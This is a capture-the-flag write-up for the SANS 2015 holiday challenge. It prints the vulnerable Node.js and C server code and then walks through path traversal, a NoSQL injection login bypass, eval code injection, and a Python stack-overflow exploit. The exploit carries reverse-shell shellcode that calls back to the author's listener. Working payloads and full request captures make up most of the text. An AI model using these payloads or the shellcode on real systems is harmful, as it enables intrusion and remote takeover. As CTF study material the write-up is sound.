SANS Christmas Challenge 2015

// File www/route/index.js, line 182
// CAMERA VIEWER
// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
  var camera = unescape(req.query.camera);
  // check for .png
  //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
  camera = camera + '.png'; // add .png if its not found
  console.log("Cam:" + camera);
  fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
    if (e) {
            res.end('File ./public/images/' + camera + ' does not exist or access denied!');
    }
  });
  fs.readFile('./public/images/' + camera, function (e, data) {
    res.end(data);
  });
});

// File www/route/index.js, line 127
// SETTINGS UPLOAD
router.post('/settings', function(req, res, next) {
  if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
    var filen = req.body.filen;
    var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
    var msgs = [];
    var free = 0;
    disk.check('/', function(e, info) {
      free = info.free;
    });
    try {
      fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
      msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
    } catch(e) {
      if (e.code != 'EEXIST')
        throw e;
    }
    if (free < 99999999999) { // AUGGIE: I think this is breaking uploads?  Stuart why did you set this so high?
      msgs.push('Insufficient space!  File creation error!');
    }
    res.msgs = msgs;
    next();
  } else
    res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
});

POST /settings HTTP/1.1
Host: 52.34.3.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/\*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://52.34.3.80/settings
Cookie: sessionid=jle7GDOGWl2hB4Upp5ry
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

filen=foo.png/foo&file=bar

GET /cam?camera=../upload/YoGjNkHo/foo.png/../../../../../../gnome/www/files/gnome.conf HTTP/1.1
Host: 52.34.3.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/\*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: sessionid=jle7GDOGWl2hB4Upp5ry
Connection: close

HTTP/1.1 200 OK
X-Powered-By: GIYH::SuperGnome by AtnasCorp
Date: Sun, 20 Dec 2015 18:58:59 GMT
Connection: close
Content-Length: 339

Gnome Serial Number: XKCD988
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-02
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

// File www/routes/index.js, line 105
// LOGIN POST
router.post('/', function(req, res, next) {
  var db = req.db;
  var msgs = [];
  db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below.  Really guys?
  //db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
    if (err || !user) {
      console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
      msgs.push('Invalid username or password!');
      res.msgs = msgs;
      res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
    } else {
      sessionid = gen_session();
      sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
      console.log("User level:" + user.user_level);
      res.cookie('sessionid', sessionid);
      res.writeHead(301,{ Location: '/' });
      res.end();
    }
  });
});

POST / HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/\*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/?logout=1
Cookie: sessionid=9VdoAi2pOEvmdCfZz0y9
Connection: close
Content-Type: application/json
Content-Length: 45

{"username": "admin","password": {"$gt": ""}}

HTTP/1.1 301 Moved Permanently
X-Powered-By: GIYH::SuperGnome by AtnasCorp
Set-Cookie: sessionid=5KriPZf9AP8l8MGBVpA8; Path=/
Location: /
Date: Sun, 20 Dec 2015 22:44:35 GMT
Connection: close
Content-Length: 0

GET /files?d=gnome.conf HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/\*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/files
Cookie: sessionid=5KriPZf9AP8l8MGBVpA8
Connection: close

HTTP/1.1 200 OK
X-Powered-By: GIYH::SuperGnome by AtnasCorp
Date: Sun, 20 Dec 2015 22:44:57 GMT
Connection: close
Content-Length: 339

Gnome Serial Number: THX1138
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-03
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

// File www/routes/index.js, line 153
// FILES UPLOAD
router.post('/files', upload.single('file'), function(req, res, next) {
  if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
    var msgs = [];
    file = req.file.buffer;
    if (req.file.mimetype === 'image/png') {
      msgs.push('Upload successful.');
      var postproc_syntax = req.body.postproc;
      console.log("File upload syntax:" + postproc_syntax);
      if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
        msgs.push('Executing post process...');
        var result;
        d.run(function() {
          result = eval('(' + postproc_syntax + ')');
        });
        // STUART: (WIP) working to improve image uploads to do some post processing.
        msgs.push('Post process result: ' + result);
      }
      msgs.push('File pending super-admin approval.');
      res.msgs = msgs;
    } else {
      msgs.push('File not one of the approved formats: .png');
      res.msgs = msgs;
    }
  } else
    res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
  next();
});

POST /files HTTP/1.1
Host: 52.192.152.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/\*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://52.192.152.132/files
Cookie: sessionid=X7VWEHkmmlBfutfSWIKF
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1090026508808451371305736143
Content-Length: 368

-----------------------------1090026508808451371305736143
Content-Disposition: form-data; name="postproc"

require('fs').readFileSync('/gnome/www/files/gnome.conf', 'utf8', function (err, data) {})
-----------------------------1090026508808451371305736143
Content-Disposition: form-data; name="file"; filename="bar.png"
Content-Type: image/png

foo

-----------------------------1090026508808451371305736143--

HTTP/1.1 200 OK
X-Powered-By: GIYH::SuperGnome by AtnasCorp
Content-Type: text/html; charset=utf-8
Content-Length: 4208
ETag: W/"1070-Jo7i+NGHd32e2cYWZTjmCQ"
Date: Sat, 26 Dec 2015 23:41:46 GMT
Connection: close

<!DOCTYPE html><html><head><title>GIYH::ADMIN PORT V.01</title>
[snip]
<ul class="nav navbar-nav"><li><a href="/">Home</a></li><li><a href="/cameras">Cameras</a></li><li><a href="/files">Files</a></li><li><a href="/gnomenet">GnomeNET</a></li><li><a href="/settings">Settings</a></li><li><a href="/?logout=1">Logout</a></li></ul></div></div></nav><div class="jumbotron"><h1>Files</h1><p class="message">Upload successful.</p><p class="message">Executing post process...</p>
<p class="message">Post process result: Gnome Serial Number: BU22_1729_2716057
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-04
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
</p><p class="message">File pending Nedfords approval.</p>[snip]

$ nmap 54.233.105.81

Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-09 10:55 CET
Nmap scan report for ec2-54-233-105-81.sa-east-1.compute.amazonaws.com (54.233.105.81)
Host is up (0.30s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
80/tcp   open   http
4242/tcp open   vrml-multi-use
5555/tcp closed freeciv

Nmap done: 1 IP address (1 host up) scanned in 22.17 seconds

$ nc 54.233.105.81 4242

Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:

1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users

$ grep -Rn "Welcome to the SuperGnome Server Status Center" .

Fichier binaire ./usr/bin/sgstatd correspondant

// File sgstatd.c, line 21
if (choice != 2) {
    write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 51);
    write(sd, "Please enter one of the following options:\n\n", 45);
    write(sd, "1 - Analyze hard disk usage\n", 28);
    write(sd, "2 - List open TCP sockets\n", 26);
    write(sd, "3 - Check logged in users\n", 27);
    fflush(stdout);

    recv(sd, &choice, 1, 0);

    switch (choice) {
    case 49:
        fp = popen("/bin/df", "r");
        if (fp == NULL) {
            printf("Failed to run command\n");
            exit(1);
        }
        while (fgets(path, sizeof(path), fp) != NULL) {
            sgnet_writes(sd, path);

        }
        break;

    case 50:
        fp = popen("/bin/netstat -tan", "r");
        if (fp == NULL) {
            printf("Failed to run command\n");
            exit(1);
        }
        while (fgets(path, sizeof(path) - 1, fp) != NULL) {
            sgnet_writes(sd, path);
        }
        break;

    case 51:
        fp = popen("/usr/bin/who", "r");
        if (fp == NULL) {
            printf("Failed to run command\n");
            exit(1);
        }
        while (fgets(path, sizeof(path) - 1, fp) != NULL) {
            sgnet_writes(sd, path);
        }
        break;

    case 88:
        write(sd, "\n\nHidden command detected!\n\n", 32);
        write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) => ", 75);
        fflush(stdin);
        sgstatd(sd);

// File sgstatd.c, line 138
int sgstatd(sd)
{
    __asm__("movl $0xe4ffffe4, -4(%ebp)");
    //Canary pushed

    char bin[100];
    write(sd, "\nThis function is protected!\n", 30);
    fflush(stdin);
    //recv(sd, &bin, 200, 0);
    sgnet_readn(sd, &bin, 200);
    __asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t"   // Canary checked
        "jne sgnet_exit");
    return 0;

}

$ /checksec --file sgstatd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No  0       8   sgstatd

$ objdump -M intel -d sgstatd | grep "ff e4"
 8049366:   c7 45 fc e4 ff ff e4    mov    DWORD PTR [ebp-0x4],0xe4ffffe4
 80493b2:   81 f2 e4 ff ff e4       xor    edx,0xe4ffffe4

#!/usr/bin/env python

import socket

def main():
    # This is a connect-back shellcode, configured to connect back
    # to a server I own, on the port 8080.
    # Thanks to http://shell-storm.org/shellcode/
    shellcode = str()
    shellcode += '\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1'
    shellcode += '\xcd\x80\x92\xb0\x66\x68\x51\x39\x0B\x02\x66\x68\x1f\x90'
    shellcode += '\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80'
    shellcode += '\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b'
    shellcode += '\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e'
    shellcode += '\x89\xe3\xcd\x80'

    payload = '\x90' * 104 # padding to overwrite the saved value of eip
    payload += '\xe4\xff\xff\xe4' # canary stack
    payload += '\x6b\x93\x04\x08' # address of our 'jump esp' gadget
    payload += '\x6b\x93\x04\x08'
    payload += shellcode
    payload += '\x90' * (200 - len(payload)) # padding to get a length of 200 bytes

    # We connect to our distant server
    sock = socket.socket()
    sock.settimeout(0.5)
    sock.connect(('54.233.105.81', 4242))

    # We receive all the data we can
    try:
        sock.recv(4096)
    except socket.timeout:
        pass

    # We enter the secret command
    sock.send('X')

    # We receive all the data we can
    try:
        for i in xrange(7):
            sock.recv(4096),
    except socket.timeout:
        pass

    # We send our payload
    sock.send(payload)

    return 0

if __name__ == '__main__':
    main()

$ ./exploit_sg05.py

$ nc -lvp 8080
listening on [any] 8080 ...
connect to [192.168.XX.XX] from ec2-54-233-105-81.sa-east-1.compute.amazonaws.com [54.233.105.81] 42021
cat /gnome/www/files/gnome.conf
Gnome Serial Number: 4CKL3R43V4
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-05
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

#!/usr/bin/env python

import sys
from PIL import Image

def main():
    # We open the camera feed overlap image
    scrambled_image = Image.open(sys.argv[6]).convert('RGB')
    scrambled_image_pixels = scrambled_image.load()
    width, height = scrambled_image.size

    # For every image found in one of the SuperGnomes
    for image in sys.argv[1:6]:
        image_pixels = Image.open(image).convert('RGB').load()
        for i in xrange(width):
            for j in xrange(height):
                # We take the RGB components
                r1, g1, b1 = scrambled_image_pixels[i, j]
                r2, g2, b2 = image_pixels[i, j]
                # And we XOR them to recover the original value
                scrambled_image_pixels[i, j] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)

    # We save the result in a new image
    scrambled_image.save('result.png', 'PNG')

    return 0

if __name__ == '__main__':
    main()

$ ./unxor_images.py sg01/factory_cam_1.png sg02/factory_cam_2.png sg03/factory_cam_3.png \
    sg04/factory_cam_4.png sg05/factory_cam_5.png camera_feed_overlap_error.png